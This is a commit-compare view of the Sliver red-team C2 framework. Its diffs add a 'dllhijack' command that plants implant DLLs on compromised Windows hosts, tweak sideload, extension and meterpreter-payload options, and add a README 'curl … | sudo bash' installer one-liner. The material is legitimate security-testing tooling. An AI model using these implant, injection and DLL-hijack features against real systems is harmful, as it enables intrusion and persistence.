mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 17:09:51 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
73d14a32e2 | ||
|
|
7a38ddffb6 | ||
|
|
5b160e358e | ||
|
|
f94f0fc938 | ||
|
|
714499b21b | ||
|
|
9be7ccb209 | ||
|
|
a43850333b | ||
|
|
f6351f725a | ||
|
|
1079a559ab | ||
|
|
5bcf9ba893 | ||
|
|
ebfa3ca86c | ||
|
|
6c62dfb486 | ||
|
|
76cd61a27d | ||
|
|
35d692b4ca | ||
|
|
a1058aa4f0 | ||
|
|
ae3c082498 | ||
|
|
d3a107cf43 | ||
|
|
ee5acfe47b | ||
|
|
10c3062016 | ||
|
|
5e80dfcfb9 | ||
|
|
5bcfa4c249 | ||
|
|
ac3e29a287 | ||
|
|
a3af100db0 | ||
|
|
7489c69962 | ||
|
|
3859b3493e | ||
|
|
874023b8c3 | ||
|
|
5f971b36d4 | ||
|
|
b2451c4bfb | ||
|
|
2af5195c85 | ||
|
|
bff100ad31 | ||
|
|
b20ee295bb | ||
|
|
249f9355f2 | ||
|
|
3793fae878 | ||
|
|
3e8ce33a49 | ||
|
|
2ea95543a9 | ||
|
|
1857b9c0ed | ||
|
|
9e56e9ac4b |
No files matched your search
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.16.5
|
||||
FROM golang:1.16.6
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -121,6 +121,7 @@ windows: clean
|
||||
.PHONY: pb
|
||||
pb:
|
||||
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
Sliver is an open source, cross-platform adversary emulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
@@ -15,7 +15,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
* Staged and Stageless payloads
|
||||
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
|
||||
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
* Local and remote process injection
|
||||
* Windows process migration
|
||||
@@ -28,6 +28,10 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
|
||||
|
||||
#### Linux One Liner
|
||||
|
||||
`curl https://sliver.sh/install|sudo bash` and then run `sliver`
|
||||
|
||||
### Help!
|
||||
|
||||
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
|
||||
|
||||
+4
-2
@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
|
||||
__Important:__ No code in this directory can import any code from `server/`.
|
||||
|
||||
* `assets/` - Static asset files and management code (e.g. client configs)
|
||||
* `command/` - Command implementations
|
||||
* `cli/` - Command line interface implementation
|
||||
* `command/` - Console command implementations
|
||||
* `constants/` - Various shared constant values
|
||||
* `core/` - Client state management
|
||||
* `help/` - Console help
|
||||
* `licenses/` - Open source licenses
|
||||
* `spin/` - Console spinner library
|
||||
* `tcpproxy/` - Local TCP proxy listener code
|
||||
* `transport/` - Wires the client to the server
|
||||
* `version/` - Version information
|
||||
* `main.go` - Entrypoint
|
||||
@@ -37,6 +37,7 @@ import (
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
@@ -148,7 +149,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Start an mTLS listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.MtlsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "server", "", "interface to bind server to")
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultMTLSLPort, "tcp listen port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
@@ -168,9 +169,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Start a WireGuard listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.WGStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultWGLPort, "udp listen port")
|
||||
f.Int("n", "nport", generate.DefaultWGNPort, "virtual tun interface listen port")
|
||||
f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun inteface key exchange port")
|
||||
f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("p", "persistent", false, "make persistent across restarts")
|
||||
},
|
||||
@@ -190,6 +192,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("d", "domains", "", "parent domain(s) to use for DNS c2")
|
||||
f.Bool("c", "no-canaries", false, "disable dns canary detection")
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
@@ -211,6 +214,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("d", "domain", "", "limit responses to specific domain")
|
||||
f.String("w", "website", "", "website name (see websites cmd)")
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
@@ -232,6 +236,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("d", "domain", "", "limit responses to specific domain")
|
||||
f.String("w", "website", "", "website name (see websites cmd)")
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
|
||||
|
||||
f.String("c", "cert", "", "PEM encoded certificate file")
|
||||
@@ -606,7 +611,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Load and execute a shared object (shared library/DLL) in a remote process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SideloadStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("a", "args", "", "Arguments for the shared library function")
|
||||
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
|
||||
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
@@ -615,6 +619,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("filepath", "path the shared library file")
|
||||
a.StringList("args", "arguments for the binary", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -674,7 +679,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.MsfStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
|
||||
f.String("o", "lhost", "", "listen host")
|
||||
f.String("L", "lhost", "", "listen host")
|
||||
f.Int("l", "lport", 4444, "listen port")
|
||||
f.String("e", "encoder", "", "msf encoder")
|
||||
f.Int("i", "iterations", 1, "iterations of the encoder")
|
||||
@@ -697,7 +702,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("p", "pid", -1, "pid to inject into")
|
||||
f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
|
||||
f.String("o", "lhost", "", "listen host")
|
||||
f.String("L", "lhost", "", "listen host")
|
||||
f.Int("l", "lport", 4444, "listen port")
|
||||
f.String("e", "encoder", "", "msf encoder")
|
||||
f.Int("i", "iterations", 1, "iterations of the encoder")
|
||||
@@ -818,8 +823,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("l", "lhost", "", "Listening host")
|
||||
f.Int("p", "lport", 8443, "Listening port")
|
||||
f.String("L", "lhost", "", "Listening host")
|
||||
f.Int("l", "lport", 8443, "Listening port")
|
||||
f.String("r", "protocol", "tcp", "Staging protocol (tcp/http/https)")
|
||||
f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
|
||||
f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
|
||||
@@ -1129,6 +1134,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("c", "colorize-output", false, "colorize output")
|
||||
f.Bool("x", "hex", false, "display as a hex dump")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
@@ -2136,4 +2142,30 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
con.App.AddCommand(reactionCmd)
|
||||
|
||||
// [ DLL Hijack ] -----------------------------------------------------------------
|
||||
|
||||
dllhijackCmd := &grumble.Command{
|
||||
Name: consts.DLLHijackStr,
|
||||
Help: "Plant a DLL for a hijack scenario",
|
||||
LongHelp: help.GetHelpFor([]string{consts.DLLHijackStr}),
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
dllhijack.DllHijackCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("target-path", "Path to upload the DLL to on the remote system")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("r", "reference-path", "", "Path to the reference DLL on the remote system")
|
||||
f.String("R", "reference-file", "", "Path to the reference DLL on the local system")
|
||||
f.String("f", "file", "", "Local path to the DLL to plant for the hijack")
|
||||
f.String("p", "profile", "", "Profile name to use as a base DLL")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
}
|
||||
con.App.AddCommand(dllhijackCmd)
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
DLL Hijack
|
||||
===========
|
||||
|
||||
Implements command related to `dllhijack`.
|
||||
@@ -0,0 +1,97 @@
|
||||
package dllhijack
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
|
||||
|
||||
// DllHijackCmd -- implements the dllhijack command
|
||||
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
localRefData []byte
|
||||
targetDLLData []byte
|
||||
err error
|
||||
)
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
targetPath := ctx.Args.String("target-path")
|
||||
referencePath := ctx.Flags.String("reference-path")
|
||||
localFile := ctx.Flags.String("file")
|
||||
profileName := ctx.Flags.String("profile")
|
||||
localReferenceFilePath := ctx.Flags.String("reference-file")
|
||||
|
||||
if referencePath == "" {
|
||||
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
|
||||
return
|
||||
}
|
||||
|
||||
if localReferenceFilePath != "" {
|
||||
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if localFile != "" {
|
||||
if profileName != "" {
|
||||
con.PrintErrorf("please use either --profile or --File")
|
||||
return
|
||||
}
|
||||
targetDLLData, err = ioutil.ReadFile(localFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
|
||||
ReferenceDLLPath: referencePath,
|
||||
TargetLocation: targetPath,
|
||||
ReferenceDLL: localRefData,
|
||||
TargetDLL: targetDLLData,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
ProfileName: profileName,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("DLL uploaded to %s\n", targetPath)
|
||||
}
|
||||
@@ -32,7 +32,7 @@ import (
|
||||
|
||||
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
|
||||
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -21,6 +21,8 @@ import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -38,13 +40,14 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
entryPoint := ctx.Flags.String("entry-point")
|
||||
processName := ctx.Flags.String("process")
|
||||
args := ctx.Flags.String("args")
|
||||
args := strings.Join(ctx.Args.StringList("args"), " ")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
@@ -54,6 +57,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Extensions
|
||||
===========
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
@@ -157,17 +157,10 @@ func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// either by value or by ref fucks things up
|
||||
commandMap[extCmd.Name] = *ext
|
||||
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
|
||||
extArgs := func(a *grumble.Args) {}
|
||||
if extCmd.AllowArgs {
|
||||
extArgs = func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
}
|
||||
}
|
||||
ctx.App.AddCommand(&grumble.Command{
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Args: extArgs,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCommand(extCtx, con)
|
||||
@@ -185,8 +178,12 @@ func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
})
|
||||
}
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
con.PrintInfof("%s extension has been loaded\n", ext.Name)
|
||||
}
|
||||
@@ -214,14 +211,13 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
|
||||
var args string
|
||||
if len(c.DefaultArgs) != 0 {
|
||||
args = c.DefaultArgs
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(c.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = c.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
if len(ctx.Args.StringList("arguments")) > 0 {
|
||||
args = strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
}
|
||||
|
||||
entryPoint := c.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
@@ -251,13 +247,13 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
if c.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: args,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
@@ -277,11 +273,11 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
} else if c.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Args: strings.Trim(args, " "),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: c.Entrypoint,
|
||||
@@ -302,15 +298,16 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Args: args,
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -20,6 +20,7 @@ package filesystem
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
@@ -66,7 +67,11 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Println(string(download.Data))
|
||||
}
|
||||
} else {
|
||||
con.Println(string(download.Data))
|
||||
if ctx.Flags.Bool("hex") {
|
||||
con.Println(hex.Dump(download.Data))
|
||||
} else {
|
||||
con.Println(string(download.Data))
|
||||
}
|
||||
}
|
||||
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
|
||||
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
|
||||
|
||||
@@ -25,10 +25,10 @@ import (
|
||||
"path"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -30,6 +30,7 @@ import (
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"time"
|
||||
@@ -67,6 +68,10 @@ const (
|
||||
DefaultMaxErrors = 1000
|
||||
)
|
||||
|
||||
const (
|
||||
crossCompilerInfoURL = "https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants"
|
||||
)
|
||||
|
||||
var (
|
||||
// SupportedCompilerTargets - Supported compiler targets
|
||||
SupportedCompilerTargets = map[string]bool{
|
||||
@@ -263,14 +268,18 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
}
|
||||
|
||||
targetOS := strings.ToLower(ctx.Flags.String("os"))
|
||||
arch := strings.ToLower(ctx.Flags.String("arch"))
|
||||
targetOS, arch = getTargets(targetOS, arch, con)
|
||||
if targetOS == "" || arch == "" {
|
||||
targetArch := strings.ToLower(ctx.Flags.String("arch"))
|
||||
targetOS, targetArch = getTargets(targetOS, targetArch, con)
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return nil
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
return nil
|
||||
}
|
||||
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
// Check to see if we can *probably* build the target binary
|
||||
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -287,7 +296,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: arch,
|
||||
GOARCH: targetArch,
|
||||
Name: name,
|
||||
Debug: ctx.Flags.Bool("debug"),
|
||||
Evasion: ctx.Flags.Bool("evasion"),
|
||||
@@ -555,3 +564,62 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
|
||||
}
|
||||
return strings.Join(limits, "; ")
|
||||
}
|
||||
|
||||
func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
|
||||
if format == clientpb.OutputFormat_EXECUTABLE {
|
||||
return true // We don't need cross-compilers when targeting EXECUTABLE formats
|
||||
}
|
||||
|
||||
compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintWarnf("Failed to check target compatibility: %s\n", err)
|
||||
return true
|
||||
}
|
||||
|
||||
if runtime.GOOS != "windows" && targetOS == "windows" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "darwin" && targetOS == "darwin" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "linux" && targetOS == "linux" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossCompiler) bool {
|
||||
for _, cc := range crossCompilers {
|
||||
if cc.GetTargetGOOS() == targetOS && cc.GetTargetGOARCH() == targetArch {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
|
||||
con.PrintWarnf("WARNING: Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
|
||||
switch targetOS {
|
||||
case "windows":
|
||||
con.PrintWarnf("The server cannot find an installation of mingw")
|
||||
case "darwin":
|
||||
con.PrintWarnf("The server cannot find an installation of osxcross")
|
||||
case "linux":
|
||||
con.PrintWarnf("The server cannot find an installation of musl-cross")
|
||||
}
|
||||
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
|
||||
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
return confirm
|
||||
}
|
||||
@@ -88,6 +88,7 @@ var (
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
consts.SSHStr: sshHelp,
|
||||
consts.DLLHijackStr: dllHijackHelp,
|
||||
|
||||
// Loot
|
||||
consts.LootStr: lootHelp,
|
||||
@@ -608,6 +609,24 @@ reaction set
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
# Remove a reaction
|
||||
reaction unset --id 1
|
||||
`
|
||||
dllHijackHelp = `[[.Bold]]Command:[[.Normal]] dllhijack
|
||||
[[.Bold]]About:[[.Normal]] Prepare and plant a DLL on the remote system for a hijack scenario.
|
||||
The planted DLL will have its export directory modified to forward the exports to a reference DLL
|
||||
on the remote system.
|
||||
The DLL used for the hijack can either be a file on the operator's system or built from a Sliver profile,
|
||||
supplied with the --profile flag.
|
||||
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
# Use a local DLL for a hijack
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a Sliver generated DLL for the hijack
|
||||
new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
|
||||
